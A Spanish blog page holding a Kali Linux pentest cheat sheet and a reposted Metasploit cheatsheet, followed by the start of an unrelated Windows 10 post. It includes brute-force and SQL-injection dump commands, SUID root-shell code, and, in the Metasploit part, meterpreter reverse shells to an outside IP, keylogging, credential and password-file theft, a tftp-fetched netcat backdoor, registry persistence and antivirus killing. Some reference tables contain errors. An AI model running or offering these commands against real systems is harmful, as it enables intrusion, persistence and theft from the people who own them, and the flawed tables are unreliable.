Kali Linux – CheatSheet para Pentesters

El pentesting es la práctica del testeo en sistemas, redes, aplicaciones web… con la finalidad de encontrar vulnerabilidades que un atacante pueda explotar.

A continuación expondremos una cheatsheet (documento para recordar diferentes utilidades) para pentesters que utilizan Kali Linux. El mismo contiene un resumen de las herramientas más importantes que se suelen usar en test de penetración. Algunas de ellas son nmap, sqlmap, ipv4, enumeracion, etc.

Estos parámetros pueden variar dependiendo del sistema operativo que esten usando y la versión de la herramienta. Pero si estan usando Kali-Linux, deberia funcionarles sin problemas.

Reconocimiento y enumeración.

Comandos NMAP.

Nmap (“Mapeador de redes”) es una herramienta open source que sirve para auditar la seguridad en redes. Algunos administradores de redes la encuentran útil para ver las máquinas de la red, servicios instalados y sus versiones. NMAP utiliza algo llamado Paquetes IP, de forma que determina que hosts hay disponibles en la red, que servicios (nombre de la aplicación y versión), el sistema operativo. Además indica que puertos estan filtrados o tras un firewall, entre otras características.

Corre en todas las computadoras y esta disponible tanto para Linux, como para Windows y Mac OS X

Comando Descripción
nmap -v -sS -A -T4 target Escanear en modo verbose (-v), -sS (analiza paquetes TCP syn), -A (detección de servicios y versiones).
nmap -v -sS -p–A -T4 target Escanea todos los puertos TCP.
nmap -v -sU -sS -p- -A -T4 target Escanea todos los puertos TCP y UDP (Puede demorar unos minutos).
nmap -v -p 445 –script=smb-check-vulns
–script-args=unsafe=1 192.168.1.X
Comando para escanear servidores vulnerables a SMB. Advertencia: el parámetro unsafe=1 puede causar una caida de la conexión.
ls /usr/share/nmap/scripts/* | grep ftp Buscar palabras claves en el script de NMAP.

Guía completa de NMAP

Enumeración SMB.

En redes de computadoras el Servidor de Mensajes en Bloques (SMB) es una versión de lo que fué conocido como Sistema de Archivos Comunes en Internet (CIFS/SIFS), opera como protocolo de red basado en capa de aplicación principamente utilizado para proveer acceso compartido a archivos, impresoras, puertos series y comunicaciones miscelaneas entre nodos en una red.

Comando Descripción
nbtscan 192.168.1.0/24 Permite descubrir servidores Windows/Samba en una subred, direcciones MAC en Windows, nombres de NetBios y descubrir clientes de Grupos de Trabajo/Dominios.
enum4linux -a target-ip Corre todas las opciones (encontrar clientes de Dominio/Grupo de Trabajo en Windows) aparte de utilizar diccionarios para adivinar nombres compartidos.

Otros métodos de descubrimiento de hosts.

Otros métodos para descubrimiento de hosts sin usar Nmap.

Comando Descripción
netdiscover -r 192.168.1.0/24 Descubre IP, direcciones MAC y fabricante MAC en la misma subred desde la tabla ARP, útil para confirmar que se encuentra en la correcta VLAN del sitio del cliente.

Enumerración SMB.

Enumera servicios compartidos Windows/Samba.

Comando Descripción
nbtscan 192.168.1.0/24 Descubre servidores Windows/Samba en una subred, encontrando direcciones MAC en windows y NetBios como también descubre clientes de Dominio/Grupo de Trabajo.
enum4linux -a target-ip Realiza todo, corre todas las opciones (encontrar Clientes de Dominio/Grupo de Trabajo en Windows) aparte de utilizar diccionarios diccionarios para adivinar nombres compartidos.

Servidor Web Local Python.

Servidor Web Local de comandos Python, práctico para Shells y Exploits en una maquina de ataque.

Comando Descripción
python -m SimpleHTTPServer 80 Ejecuta un servidor HTTP básico, útil para alojar Shells y Exploits.

Montar Archivos Compartidos.

Como montar NFS/CIFS en Windows y Linux.

Comando Descripción
mount 192.168.1.1:/vol/share /mnt/nfs Monta una carpeta o volúmen en /mnt/nfs
mount -t cifs -o username=user,password=pass
,domain=blah //192.168.1.X/share-name /mnt/cifs
Montar carpeta o volúmen Windows CIFS/SMB en Linux /mnt/cifs si quita la contraseña preguntará en la consola de comandos (más seguro para no registrar en bash_history).
net use Z: \\win-server\share password
/user:domain\janedoe /savecred /p:no
Montar una carpeta o servicio compartido en Windows desde la consola de comandos.
apt-get install smb4k -y Instala smb4k en Kali, útil en el entorno gráfico de Linux para explorar servicios compartidos SMB.

Descubrir Servicios (FingerPrinting) Básico.

Un dispositivo/máquina/navegador Descubridor de Servicios es útil para recopilar información sobre un dispositivo remoto con el proposito de identificarlo.
Descubrir Servicios puede ser utilizado total o parcialmente para identificar usuarios o dispositivos individuales aún cuando las cookies están desactivadas.

Comando Descripción
nc -v 192.168.1.1 25telnet 192.168.1.1 25 Realiza un básico Versionado/Identificador de Servicios mediante un banner.

Enumeración SNMP.

La enumeración SNMP es el proceso de utilizar el protocolo SNMP para enumerar cuentas de usuario en un objetivo.
Emplea dos tipos de componentes Software para la comunicación: el agente SNMP el cual está ubicado en el dispositivo de red y el SNMP administrador, el cual se comunica con el agente.

Comando Descripción
snmpcheck -t 192.168.1.X -c publicsnmpwalk -c public -v1 192.168.1.X 1|
grep hrSWRunName|cut -d* * -fsnmpenum -t 192.168.1.Xonesixtyone -c names -i hosts
Enumeración SNMP.

Transferencia de Zonas DNS.

Comando Descripción
nslookup -> set type=any -> ls -d blah.com Transferencia de Zona DNS utilizando Windows.
dig axfr blah.com @ns1.blah.com Transferencia de Zona DNS utilizando Linux.

DNSRecon.

DNSRecon dá la posibilidad de:

  1. Comprobar todos los Registros NS para transferencias de Zonas.
  2. Enumera Registros DNS General para un determinado Dominio (MX, SOA, NS, A, AAAA, SPF y TXT)
  3. Realiza una Enumeracion de Registros SRV común. En el Top-Level-Domain (TLD)
  4. Verifica por resolución con comodines.
  5. Fuerza bruta a subdominios y a los registros de host A y AAAA proporcionando un dominio y un diccionario.
  6. Realiza una búsqueda de registros PTR para un Rango IP/CIDR dado.
  7. Verifica registros en la cache del servidor DNS para registros A/AAAA/CNAME previsto en una lista de registros del host en un archivo TXT a comprobar.
  8. Enumerar registros mDNS Comunes en la enumeración local de red y subdominios utilizando Google.
 DNS Enumeration Kali - DNSReconroot:~#
 dnsrecon -d TARGET -D /usr/share/wordlists/dnsmap.txt -t std --xml ouput.xml

Servidor Web de Enumeración HTTP/HTTPS.

Comando Descripción
nikto -h 192.168.1.1 Realiza un escaneo con NIKTO contra el objetivo.
dirbuster Configurar mediante interfaz grágica, la línea de comandos la mayor parte del tiempo no funciona.

Inspección de paquetes.

Comando Descripción
tcpdump tcp port 80 -w output.pcap -i eth0 tcpdump por el puerto 80 en la interfaz eth0, con salida a output.pcap

Enumeración de usuarios.

Algunas técnicas para enumerar remotamente usuarios de un sistema.

Enumeración de usuarios SMB.

Comando Descripción
python /usr/share/doc/python-impacket-doc/examples
/samrdump.py 192.168.XXX.XXX
Enumerar usuarios de SMB.
ridenum.py 192.168.XXX.XXX 500 50000 dict.txt RID cycle SMB / Enumerar usuarios de SMB.

Enumeración de usuarios SNMP.

Comando Descripción
snmpwalk public -v1 192.168.X.XXX 1 |grep 77.1.2.25
|cut -d” “ -f4
Enumerar usuarios de SNMP.
python /usr/share/doc/python-impacket-doc/examples/
samrdump.py SNMP 192.168.X.XXX
Enumerar usuarios de SNMP.
nmap -sT -p 161 192.168.X.XXX/254 -oG snmp_results.txt
(then grep)
Busca servidores SNMP con Nmap, grepable output

Contraseñas.

Diccionarios.

Comando Descripción
/usr/share/wordlists Diccionarios de Kali.

Más diccionarios aquí: g0tm1lk’s blog

Servicios de Fuerza Bruta.

Hydra FTP Fuerza Bruta.

Hydra es un crackeador de inicios de sesión, soporta varios protocolos a atacar. Es rápido y flexible los nuevos módulos son faciles de añadir. Esta herramienta brinda la posibilidad a consultores de seguridad e investigadores verificar lo sencillo que resulta obtener acceso no autorizado a un sistema.
En Ubuntu puede instalarse desde el gestor de paquetes Synaptic.
En Kali, se encuentra instalado.

Comando Descripción
hydra -l USERNAME -P /usr/share/wordlistsnmap.lst -f
192.168.X.XXX ftp -V
Fuerza bruta a FTP con Hydra.

Hydra POP3 Fuerza Bruta.

Comando Descripción
hydra -l USERNAME -P /usr/share/wordlistsnmap.lst -f
192.168.X.XXX pop3 -V
Fuerza bruta a POP3 con hydra.

Hydra SMTP Fuerza Bruta.

Comando Descripción
hydra -P /usr/share/wordlistsnmap.lst 192.168.X.XXX smtp -V Fuerza bruta a SMTP con Hydra.

Usa -t para limitar el número de conexiones, ejemplo: -t 15

Guía de crackeo de contraseñas con Hydra aquí

Como romper SSH con Hydra

Crackeo de contraseñas.

John The Ripper – JTR.

Jhon the Ripper es diferente a otras herramientas como Hydra.
Hydra realiza ataques Blind-Brute-Force utilizando combinaciones de Nombre de Usuarios/Contraseñas en un servidor FTP/SSH/Telnet.
Sin embargo Jhon necesita primero el HASH. El mayor desafio para un Hacker es ser el primero en obtener el HASH que será crackeado.
Hoy en día los HASH son crackeables de forma más rapida con el uso de las Rainbow-Tables. Dirigiendose a algún sitio que contenga Rainbow-Tables en línea, enviando el HASH y si coincide el sitio podría mostrar el resultado casi de forma inmediata.
Las Rainbow-Tables basicamente almacenan palabras comunes y sus HASH en una base de datos. Al ser mas grande la base de datos, más palabras abarca.

Comando. Descripción
john –wordlist=/usr/share/wordlists/rockyou.txt hashes JTR crackeo de contraeñas.
john –format=descrypt –wordlist
/usr/share/wordlists/rockyou.txt hash.txt
JTR crackea utilizando una lista de palabras.
john –format=descrypt hash –show JTR crackea mediante fuerza bruta.

Crackear contraseñas utilizando la guia de JTR

Investigando Exploits.

Formas de encontrar Exploits para Servicios/Host enumerados.

Command Description
searchsploit windows 2003 | grep -i local Busca en exploit-db un exploit. En este ejemplo es para escalar privilegios en Windows 2003.
site:exploit-db.com exploit kernel <= 3 Utiliza Google para buscar en exploit-db.com un exploit.
grep -R “W7” /usr/share/metasploit-framework
/modules/exploit/windows/*
Busca módulos en MetaSploit utilizando GREP.

Guia completa con capturas de pantallas para buscar Exploits here

Compilando Exploits

Identificando si el código C es para Windows o Linux.

C# indicará que Sistema Operativo debe ser utilizado para construir el Exploit.

Comando Descripción
process.h, string.h, winbase.h, windows.h, winsock2.h Código de Exploit en Windows.
arpa/inet.h, fcntl.h, netdb.h, netinet/in.h,
sys/sockt.h, sys/types.h, unistd.h
Código de Exploit en Linux.

Construyendo un Exploit con GCC

Compilar un exploit con Gcc.

Comando Descripción
gcc -o exploit exploit.c Compilación básica con GCC.

Compilar en Kali 64Bit un exploit para 32Bit con GCC

Util para compilaciones cruzadas de binarios en 32Bit en una maquina de 64Bit.

Comando Descripción
gcc -m32 exploit.c -o exploit Compilación cruzada de un binario de 32Bit en un Linux de 64Bit.

Compilar un .exe en Linux

Construir/compilar exploits para Windows en Linux, resultando en un archivo .exe

Comando Descripción
i586-mingw32msvc-gcc exploit.c -lws2_32 -o exploit.exe Compilar .exe en Linux.

Binario SUID

A veces los archivos binarios C SUID son requeridos para obtener una Shell como SuperUsuario, actualizando el UID/GID y la shell son requeridos.
Debajo hay algunos ejemplos rápidos de varias shells:

SUID C Shell para/bin/bash

int main(void){
       setresuid(0, 0, 0);
       system("/bin/bash");
}

SUID C Shell para /bin/sh

int main(void){
       setresuid(0, 0, 0);
       system("/bin/sh");
}

Construyendo el binario para la Shell SUID

gcc -o suid suid.c

Para 32 bit:

gcc -m32 -o suid suid.c

TTY Shells.

Trucos para obtener una TTY-Shell desde una shell limitada; útil para lanzar comandos como “SU” desde shells reversas.

TTY-Shell en Python.

python -c 'import pty;pty.spawn("/bin/bash")'
echo os.system('/bin/bash')

Obtener una Shell-Interactiva.

/bin/sh -i

Obtener una Shell-TTY con Perl.

exec "/bin/sh";
perl —e 'exec "/bin/sh";'

Obtener una Shell-TTY con Ruby.

exec "/bin/sh"

Obtener una Shell-TTY con Lua.

os.execute('/bin/sh')

Obtener una Shell-TTY desde el editor Vi.

Lanzar comandos en la shell desde Vi:

:!bash

Obtener una Shel-TTY con Nmap.

!sh

Metasploit

Metasploit fue creado por H.D.Moore en 2003 como una herramienta de red portable usando Perl. En el 2007, el Framework de Metasploit fue totalmente re-escrito en Ruby. El 21 de Octubre de 2009, el proyecto Metasploit anunció que fue adquirido por Rapid7, una compañia de seguridad que provee soluciones centralizadas y unificadas de vulnerabilidad.

Al ser un producto comercial comparable a Immunity’s Canvas o Core Security Tecnologies o Core Impact, Metasploit puede ser utilizado para verificar la vulnerabilidad de un sistema o para penetrar en sistemas remotos. Como muchas herramientas de seguridad para obtener información, Metasploit puede utilizarse para legitimar y desautorizar actividades. Desde la adquisición del Framework Metasploit, Rapid7 a añadido dos ediciones propietarias llamadas Metasploit Express y Metasploit Pro.

La posición emergente de Metasploit como marco de desarrollo de la explotación hacia la publicación de avisos de vulnerabilidades en el software a veces acompañado por un modulo de terceros para Metasploit que resalta la explotabilidad, riesgo y corrección del bug.
Metasploit 3.0 comenzó a incluir herramientas de ofuscación, usadas para descubrir vulnerabilidades en el software, mas bien para explotar los bugs conocidos.
Metasploit 3.0 incluye una intergración de herramientas Lorcon para Wireless (802.11) publicado en Noviembre del 2006.
Metasploit 4.0 fue lanzado en Agosto del 2011.

Meterpreter Payloads.

Windows reverse meterpreter payload.

Comando Descripción
set payload windows/meterpreter/reverse_tcp Windows reverse tcp payload.

Windows VNC Meterpreter payload.

Comando Descripción
set payload windows/vncinject/reverse_tcpset ViewOnly false Meterpreter Windows VNC Payload.

Linux Reverse Meterpreter payload.

Comando Descripción
set payload linux/meterpreter/reverse_tcp Meterpreter Linux Reverse Payload.

Trucos Meterpreter.

Comandos útiles de meterpreter.

Comando Descripción
upload file c:\\windows Meterpreter para subir archivo a un objetivo Windows.
download c:\\windows\\repair\\sam /tmp Meterpreter para bajar archivo desde un objetivo Windows.
download c:\\windows\\repair\\sam /tmp Meterpreter download file from Windows target
execute -f c:\\windows\temp\exploit.exe Lanzar un .exe Meterpreter en el objetivo (útil para ejecutar exploits subidos).
execute -f cmd -c Crear nuevos canales con la Shell-Cmd.
ps Meterpreter muestra los procesos.
shell Meterpreter obtiene una shell en el objetivo.
getsystem Meterpreter intenta escalar privilegios en el objetivo.
hashdump Meterpreter intenta volcar los hashes en el objetivo.
portfwd add –l 3389 –p 3389 –r target Meterpreter crea una redirección de puertos hacia el objetivo.
portfwd delete –l 3389 –p 3389 –r target Meterpreter elimina la redirección de puertos.

Módulos comunes de Metasploit.

Exploits Remotos para Windows (exploits).

Comando Descripción
use exploit/windows/smb/ms08_067_netapi MS08_067 Windows 2k, XP, 2003 Remote Exploit
use exploit/windows/dcerpc/ms06_040_netapi MS08_040 Windows NT, 2k, XP, 2003 Remote Exploit
use exploit/windows/smb/
ms09_050_smb2_negotiate_func_index
MS09_050 Windows Vista SP1/SP2 and Server 2008 (x86) Remote Exploit

Exploits Locales para Windows (exploits).

Comando Descripción
use exploit/windows/local/bypassuac Bypass UAC on Windows 7 + Set target + arch, x86/64

Módulos Auxiliares de Metasploit.

Comando Descripción
use auxiliary/scanner/http/dir_scanner Módulo escaner de directorios HTTP.
use auxiliary/scanner/http/jboss_vulnscan Módulo escaner de vulnerabilidades JBOSS.
use auxiliary/scanner/mssql/mssql_login Módulo escaner de credencial MSSQL.
use auxiliary/scanner/mysql/mysql_version Módulo escaner de versión MSSQL.
use auxiliary/scanner/oracle/oracle_login Módulo de login para Oracle.

Modulos de Metasploit para Powershell.

Comandos Descripción
use exploit/multi/script/web_delivery Módulo de entrega del Payload para Powershell.
post/windows/manage/powershell/exec_powershell Módulo para subir y ejecutar una powershell a traves de una sesión.
use exploit/multi/http/jboss_maindeployer Módulo para desarrollar JBOSS.
use exploit/windows/mssql/mssql_payload Módulo para MSSQL.

Módulos Metasploit para la Post-Explotación en Windows.

Comandos Descripción
run post/windows/gather/win_privs Muestra los privilegios del usuario actual.
use post/windows/gather/credentials/gpp Módulo grab GPP para guardar contraseñas.
load mimikatz -> wdigest Módulo para cargar Mimikatz.
run post/windows/gather/local_admin_search_enum Identificar otros equipos indicando el nombre de usuario del dominio muestra el acceso administrativo que tiene.

Redes.

Identificando Servicios TTL.

Sistema Operativo Tamaño TTL
Windows 128
Linux 64
Solaris 255
Cisco / Network 255

IPv4

Clase de rangos IP.

Ejemplo: Clasae A,B,C.

Clase Rango de direcciones IP
Class A IP Address Range 0.0.0.0 – 127.255.255.255
Class B IP Address Range 128.0.0.0 – 191.255.255.255
Class C IP Address Range 192.0.0.0 – 223.255.255.255
Class D IP Address Range 224.0.0.0 – 239.255.255.255
Class E IP Address Range 240.0.0.0 – 255.255.255.255

Rango de direcciones IPv4 privadas.

Clase Rango
Class A Private Address Range 10.0.0.0 – 10.255.255.255
Class B Private Address Range 172.16.0.0 – 172.31.255.255
Class C Private Address Range 192.168.0.0 – 192.168.255.255
127.0.0.0 – 127.255.255.255

Subneteo IPv4.

CIDR Máscara de subred en decimal. Numeros de Hosts.
/31 255.255.255.254 1 Host
/30 255.255.255.252 2 Hosts
/29 255.255.255.249 6 Hosts
/28 255.255.255.240 14 Hosts
/27 255.255.255.224 30 Hosts
/26 255.255.255.192 62 Hosts
/25 255.255.255.128 126 Hosts
/24 255.255.255.0 254 Hosts
/23 255.255.254.0 512 Host
/22 255.255.252.0 1022 Hosts
/21 255.255.248.0 2046 Hosts
/20 255.255.240.0 4094 Hosts
/19 255.255.224.0 8190 Hosts
/18 255.255.192.0 16382 Hosts
/17 255.255.128.0 32766 Hosts
/16 255.255.0.0 65534 Hosts
/15 255.254.0.0 131070 Hosts
/14 255.252.0.0 262142 Hosts
/13 255.248.0.0 524286 Hosts
/12 255.240.0.0 1048674 Hosts
/11 255.224.0.0 2097150 Hosts
/10 255.192.0.0 4194302 Hosts
/9 255.128.0.0 8388606 Hosts
/8 255.0.0.0 16777214 Hosts

Tabla ASCII

Util para Testeos de Intrusión en Aplicaciones Web.

ASCII Caracter
x00 Null Byte
x08 BS
x09 TAB
x0a LF
x0d CR
x1b ESC
x20 SPC
x21 !
x22
x23 #
x24 $
x25 %
x26 &
x27 `
x28 (
x29 )
x2a *
x2b +
x2c ,
x2d
x2e .
x2f /
x30 0
x31 1
x32 2
x33 3
x34 4
x35 5
x36 6
x37 7
x38 8
x39 9
x3a :
x3b ;
x3c <
x3d =
x3e >
x3f ?
x40 @
x41 A
x42 B
x43 C
x44 D
x45 E
x46 F
x47 G
x48 H
x49 I
x4a J
x4b K
x4c L
x4d M
x4e N
x4f O
x50 P
x51 Q
x52 R
x53 S
x54 T
x55 U
x56 V
x57 W
x58 X
x59 Y
x5a Z
x5b [
x5c \
x5d ]
x5e ^
x5f _
x60 `
x61 a
x62 b
x63 c
x64 d
x65 e
x66 f
x67 g
x68 h
x69 i
x6a j
x6b k
x6c l
x6d m
x6e n
x6f o
x70 p
x71 q
x72 r
x73 s
x74 t
x75 u
x76 v
x77 w
x78 x
x79 y
x7a z

Comandos CISCO-IOS.

Coleccion de comandos útiles para Cisco IOS.

Comando Descripción
enable Ingresa al modo de configuración.
conf t Modo corto para configurar mediante terminal.
(config)# interface fa0/0 Configurar FastEthernet 0/0
(config-if)# ip addr 0.0.0.0 255.255.255.255 Asigna ip a fa0/0
(config-if)# ip addr 0.0.0.0 255.255.255.255 Asigna ip a fa0/0
(config-if)# line vty 0 4 Configura linea VTY.
(config-line)# login Cisco set telnet password
(config-line)# password YOUR-PASSWORD Establecer contraeña para Telnet.
# show running-config Muestra el running-config cargado en memoria.
# show startup-config Muestra la configuración del inicio.
# show version Muestra la versión IOS de Cisco.
# show session Muestra las sesiones abiertas.
# show ip interface Muestra la dirección Ip de las interfaces.
# show interface e0 Muestra información detallada de la interfaz e0.
# show ip route Muestra las tablas de rutas.
# show access-lists Muestra el access-list.
# dir file systems Muestra los archivos del sistema.
# dir all-filesystems Muestra todos los archivos del sistema.
# dir /all Muestra archivos eliminados.
# terminal length 0 Salida de la terminal sin límite (cache).
# copy running-config tftp Copia la running-config a un servidor tftp.
# copy running-config startup-config Copia la startup-config a la running-config.

Criptografía.

Longitud de Hash.

Hash Tamaño
MD5 Hash Length 16 Bytes
SHA-1 Hash Length 20 Bytes
SHA-256 Hash Length 32 Bytes
SHA-512 Hash Length 64 Bytes

Ejemplos de Hash.

hash-identifier permite identificar el tipo de hash, la siguiente lista contiene numerosos ejemplos:

Hash Ejemplo
MD5 Hash 8743b52063cd84097a65d1633f5c74f5
MD5 $PASS:$SALT 01dfae6e5d4d90d9892622325959afbe:7050461
MD5 $SALT:$PASS f0fda58630310a6dd91a7d8f0a4ceda2:4225637426
SHA1 Hash b89eaac7e61417341b710b727768294d0e6a277b
SHA1 $PASS:$SALT 2fc5a684737ce1bf7b3b239df432416e0dd07357:2014
SHA1 $SALT:$PASS cac35ec206d868b7d7cb0b55f31d9425b075082b:5363620024
SHA-256 127e6fbfe24a750e72930c220a8e138275656b
8e5d8f48a98c3c92df2caba935
SHA-256 $PASS:$SALT c73d08de890479518ed60cf670d17faa26a4a7
1f995c1dcc978165399401a6c4
SHA-256 $SALT:$PASS eb368a2dfd38b405f014118c7d9747fcc97f4
f0ee75c05963cd9da6ee65ef498:560407001617
SHA-512 82a9dda829eb7f8ffe9fbe49e45d47d2dad9
664fbb7adf72492e3c81ebd3e29134d9bc
12212bf83c6840f10e8246b9db54a4
859b7ccd0123d86e5872c1e5082f
SHA-512 $PASS:$SALT e5c3ede3e49fb86592fb03f471c35ba13e8
d89b8ab65142c9a8fdafb635fa2223c24e5
558fd9313e8995019dcbec1fb58414
6b7bb12685c7765fc8c0d51379fd
SHA-512 $SALT:$PASS 976b451818634a1e2acba682da3fd6ef
a72adf8a7a08d7939550c244b237c72c7d4236754
4e826c0c83fe5c02f97c0373b6b1
386cc794bf0d21d2df01bb9c08a
NTLM Hash b4b9b02e6f09a9bd760f388b67351e2b

Guía de identificación de HASH y cracking de contraseñas con Wireshark aquí

Ejemplos de SQLMap.

Sqlmap es una herramienta open source para tests de penetración que automatiza el proceso de detección y explotación de vulnerabilidades de inyección SQL y la apropiación de servidores de bases de datos.

Tiene un potente motor de detección, muchas características actualizadas y una amplia gama de opciones que van desde la identificación de la base de datos, recolección de datos, acceso al sistema de archivos y la ejecución de comandos en el sistema operativo de forma remota.

Comando Descripción
sqlmap -u http://meh.com –forms –batch –crawl=10
–cookie=jsessionid=54321 –level=5 –risk=3
Escaner automático.
sqlmap -u TARGET -p PARAM –data=POSTDATA –cookie=COOKIE
–level=3 –current-user –current-db –passwords
–file-read=”/var/www/blah.php”
Escanear un objetivo determinado.
sqlmap -u “http://meh.com/meh.php?id=1”
–dbms=mysql –tech=U –random-agent –dump
Escaneo de url para inyecciones union + error based con mysql como
backend y usando un user agent aleatorio + database dump
sqlmap -o -u “http://meh.com/form/” –forms Verifica un formulario para una inyección con SqlMap.
sqlmap -o -u “http://meh/vuln-form” –forms
-D database-name -T users –dump
Mostrar y crackear los hashs para la tabla usuarios en la base de datos.
Publicado en Sin catalogar | Deja un comentario

Metasploit Cheatsheet

What is Metasploit?

The Metasploit Project is a computer security project that provides information about security vulnerabilities and aids in penetration testing and IDS signature development. Metasploit is best known as Framework, where user can build their own tools for finding exploits in applications, Operating system and networks.

A tool for developing and executing exploit code against a remote target machine. Other important sub-projects include the Opcode Database, shellcode archive and related research.

Metasploit interfaces
There are several interfaces for Metasploit available. The most popular are maintained by Rapid7 and Strategic Cyber LLC.

Metasploit Framework Edition
The free version. It contains a command line interface, third-party import, manual exploitation and manual brute forcing. This free version of metasploit project also includes Zenmap, a well known ports-scanner and a compiler for Ruby, the language in which this version of metasploit was written.

Metasploit Community Edition
In October 2011, Rapid7 released Metasploit Community Edition, a free, web-based user interface for Metasploit. Metasploit Community is based on the commercial functionality of the paid-for editions with a reduced set of features, including network discovery, module browsing and manual exploitation. Metasploit Community is included in the main installer.

Metasploit Express
In April 2010, Rapid7 released Metasploit Express, an open-core commercial edition for security teams who need to verify vulnerabilities. It offers a graphical user interface, integrates nmap for discovery, and adds smart bruteforcing as well as automated evidence collection.

Metasploit Pro
In October 2010, Rapid7 added Metasploit Pro, an open-core commercial Metasploit edition for penetration testers. Metasploit Pro adds onto Metasploit Express with features such as Quick Start Wizards/MetaModules, building and managing social engineering campaigns, web application testing, an advanced Pro Console, dynamic payloads for anti-virus evasion, integration with Nexpose for ad-hoc vulnerability scans, and VPN pivoting.

Armitage
Armitage is a graphical cyber attack management tool for the Metasploit Project that visualizes targets and recommends exploits. It is a free and open source network security tool notable for its contributions to red team collaboration allowing for shared sessions, data, and communication through a single Metasploit instance.[11]

Cobalt Strike
Cobalt Strike is a collection of threat emulation tools provided by Strategic Cyber LLC to work with the Metasploit Framework. Cobalt Strike includes all features of Armitage and adds post-exploitation tools, in addition to report generation features.

You can download Metasploit here

Metasploit Cheatsheet and Commands are as follows..

use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST rmccurdy.com
set LPORT 21
set ExitOnSession false
# set AutoRunScript pathto script you want to autorun after exploit is run
set AutoRunScript persistence -r 75.139.158.51 -p 21 -A -X -i 30

exploit -j -z


# file_autopwn
rm -Rf /tmp/1
mkdir /tmp/1
rm -Rf ~/.msf3

wget -O /tmp/file3.pdf https://www1.nga.mil/Newsroom/PressR…s/nga10_02.pdf

./msfconsole

db_driver sqlite3
db_create pentest11
setg LHOST 75.139.158.51
setg LPORT 21
setg SRVPORT 21
setg LPORT_WIN32 21

setg INFILENAME /tmp/file3.pdf

use auxiliary/server/file_autopwn

set OUTPATH /tmp/1

set URIPATH /msf
set SSL true
set ExitOnSession false
set PAYLOAD windows/meterpreter/reverse_tcp
setg PAYLOAD windows/meterpreter/reverse_tcp
set AutoRunScript persistence -r 75.139.158.51 -p 21 -A -X -i 30
run


# shows all the scripts
run


# persistence! broken …if you use DNS name ..
run persistence -r 75.139.158.51 -p 21 -A -X -i 30


run get_pidgin_creds

idletime
sysinfo


# SYSTEM SHELL ( pick a proc that is run by system )
migrate 376
shell


# session hijack tokens
use incognito
impersonate_token “NT AUTHORITY\\SYSTEM”


# escalate to system
use priv
getsystem


execute -f cmd.exe -H -c -i -t
execute -f cmd.exe -i -t


# list top used apps
run prefetchtool -x 20


# list installed apps
run prefetchtool -p


run get_local_subnets


# find and download files
run search_dwld “%USERPROFILE%\\my documents” passwd
run search_dwld “%USERPROFILE%\\desktop passwd
run search_dwld “%USERPROFILE%\\my documents” office
run search_dwld “%USERPROFILE%\\desktop” office


# alternate
download -r “%USERPROFILE%\\desktop” ~/
download -r “%USERPROFILE%\\my documents” ~/


# alternate to shell not SYSTEM
# execute -f cmd.exe -H -c -i -t


# does some run wmic commands etc
run winenum


# rev shell the hard way
run scheduleme -m 1 -u /tmp/nc.exe -o “-e cmd.exe -L -p 8080”


# An example of a run of the file to download via tftp of Netcat and then running it as a backdoor.
run schtasksabuse-dev -t 192.168.1.7 -c “tftp -i 192.168.1.8 GET nc.exe,nc -L -p 8080 -e cmd.exe” -d 4
run schtasksabuse -t 192.168.1.7 -c “tftp -i 192.168.1.8 GET nc.exe,nc -L -p 8080 -e cmd.exe” -d 4


# vnc / port fwd for linux
run vnc


# priv esc
run kitrap0d


run getgui


# somewhat broken .. google sdt cleaner NtTerminateProcess !@?!?!
run killav

run winemun

run memdump

run screen_unlock


upload /tmp/system32.exe C:\\windows\\system32\\
reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion \\run
reg setval -k HKLM\\software\\microsoft\\windows\\currentversion \\run -v system32 -d “C:\\windows\\system32\\system32.exe -Ldp 455 -e cmd.exe”
reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion \\Run -v system32
reg enumkey -k HKLM\\system\\controlset001\services\\sharedaccess \\parameters\\firewallpolicy\\Standardprofile\\aut horizedapplications\\list
reg setval -k HKLM\\system\\controlset001\services\\sharedaccess \\parameters\\firewallpolicy\\Standardprofile\\aut horizedapplications\\list -v sys
reg queryval -k HKLM\\system\\controlset001\services\\sharedaccess \\parameters\\firewallpolicy\\Standardprofile\\aut horizedapplications\\list -v system32
upload /neo/wallpaper1.bmp “C:\\documents and settings\\pentest3\\local settings\\application data\\microsoft\\”


getuid
ps
getpid
keyscan_start
keyscan_dump
migrate 520
portfwd add -L 104.4.4 -l 6666 -r 192.168.1.1 -p 80″
portfwd add -L 192.168.1.1 -l -r 10.5.5.5 -p 6666


shell
run myremotefileserver_mserver -h
run myremotefileserver_mserver -p 8787


run msf_bind
run msf_bind -p 1975
rev2self
getuid


getuid

enumdesktops
grabdesktop

run deploymsf -f framework-3.3-dev.exe

run hashdump
run metsvc
run scraper
run checkvm
run keylogrecorder
run netenum -fl -hl localhostlist.txt -d google.com
run netenum -rl -r 10.192.0.50-10.192.0.254
run netenum -st -d google.com
run netenum -ps -r 10.192.0.50-254


# Windows Login Brute Force Meterpreter Script
run winbf -h


# upload a script or executable and run it
uploadexec


# Using Payload As A Backdoor from a shell

REG add HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Run /v firewall /t REG_SZ /d “c:\windows\system32\metabkdr.exe” /f
at 19:00 /every:M,T,W,Th,F cmd /c start “%USERPROFILE%\metabkdr.exe”
SCHTASKS /Create /RU “SYSTEM” /SC MINUTE /MO 45 /TN FIREWALL /TR “%USERPROFILE%\metabkdr.exe” /ED 11/11/2011


# kill AV this will not unload it from mem it needs reboot or kill from memory still … Darkspy, Seem, Icesword GUI can kill the tasks
catchme.exe -K “c:\Program Files\Kaspersky\avp.exe”
catchme.exe -E “c:\Program Files\Kaspersky\avp.exe”
catchme.exe -O “c:\Program Files\Kaspersky\avp.exe” dummy

Fuente: https://hackersonlineclub.com/metasploit-tutorial-metasploit-cheatsheet/?fbclid=IwAR2Wv8wW54M6PWp4QApp9Z51CBFP6xGdMYXqlH98eYuY6l2psvkLrq9k4RM

 

Publicado en Sin catalogar | Deja un comentario

Resolver notificación de Disco lleno después de Actualizar Windows 10 – Ocultar Partición

Porque apareció de repente esta notificación?.

Vamos a resolver ese pequeño problemita que apareció con la actualización de Abril para Windows 10, me refiero al mensaje de Disco Duro lleno que ha estado apareciendo en las computadoras de muchos de nosotros aun y cuando tenemos espacio suficiente.

Cual es el problema?

